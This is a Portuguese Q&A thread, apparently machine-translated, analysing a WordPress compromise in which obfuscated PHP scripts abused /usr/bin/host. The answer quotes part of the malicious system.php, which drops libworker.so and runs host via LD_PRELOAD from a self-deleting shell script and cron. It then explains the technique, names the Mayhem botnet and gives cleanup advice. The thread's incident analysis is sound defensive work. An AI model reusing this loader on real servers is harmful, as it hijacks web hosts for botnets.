/ usr / bin / host executado pelo script PHP hackeado

Question

Hoje, notei uma alta taxa de solicitações incomum no servidor da web Apache e também um tráfego de rede de entrada bastante alto. Ao verificar a página mod_status do Apache, descobri que os URLs incorretos estavam no caminho www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/ . E de fato eu encontrei vários scripts PHP hackeados (ofuscados).

Também foi notado um processo estranho executado pelo usuário do www-data:

www-data  7300 10.8  0.1 2122900 18768 ?       Ssl  Jul11 121:47 /usr/bin/host

A verificação de /proc/7300/cmdline revelou que, de fato, esse é o binário /usr/bin/host original. netstat -anp mostrou que tem muitas conexões HTTP abertas, então de alguma forma esse binário é abusado. debsums confirmou a soma de verificação binária como OK. Como o processo foi executado sob o usuário do www-data, eu não tinha motivos para acreditar que o próprio servidor estivesse comprometido.

Como esse binário é abusado?

EDIT: Esta não é ampla pergunta "como lidar com o servidor comprometido". Mais uma pergunta (e já uma resposta) sobre um tipo específico de abuso, como é feito tecnicamente, já que esse caso em particular é bastante criativo em como funciona. Parece que isso está em estado selvagem há vários anos (antigos tópicos e perguntas de 2012) e eu o encontrei esta semana.

    

Answer 1

Depois de cavar os códigos fonte dos scripts PHP ofendidos e pesquisando ( esta discussão ), eu encontrei uma explicação.

Isso faz parte do código system.php que encontrei:

<?php
// ...
$n = file_put_contents("./libworker.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
// ...

Como o /usr/bin/host está envolvido é um pouco mais avançado. Os programas usam bibliotecas ( .so files) para algumas de suas funções. Os usuários podem pré-codificar ( LD_PRELOAD ) alguns arquivos .so antes de iniciar um binário legítimo para alterar sua ação.

Como você pode ver, este script cria um arquivo libworker.so e usa a variável de ambiente LD_PRELOAD para pré-carregá-lo, então o legítimo host binary está fazendo algo totalmente diferente.

Ele cria um script de shell 1.sh e tenta executá-lo de várias maneiras (diretamente, usando o comando at , usando o cron). Imediatamente depois disso, ele remove o script e o arquivo da biblioteca do disco, para que ele não seja percebido.

O que aconteceu em primeiro lugar foi que alguns plugins vulneráveis do Wordpress foram abusados e o atacante conseguiu colocar seus arquivos em diretórios escritos por palavras.

A atenuação significa analisar arquivos de log de acesso antigos para esse domínio e tentar localizar solicitações POST em locais incomuns - por exemplo, acessar diretamente os arquivos PHP do plug-in WP / Joomla é incomum. Em seguida, remova todos os arquivos PHP ofuscados encontrados, corrija permissões de diretório, finalize a execução de host processes e monitore arquivos de log para qualquer tentativa de re-hacks.

EDIT: Eu tenho informações da ESET que eles já detectam essa biblioteca em particular e também outras versões. As empresas de antivírus atribuem o nome Roopre e parece que ele é usado como parte da botnet Mayhem .

Em profundidade análise do botnet Mayhem

Em profundidade análise desta exploração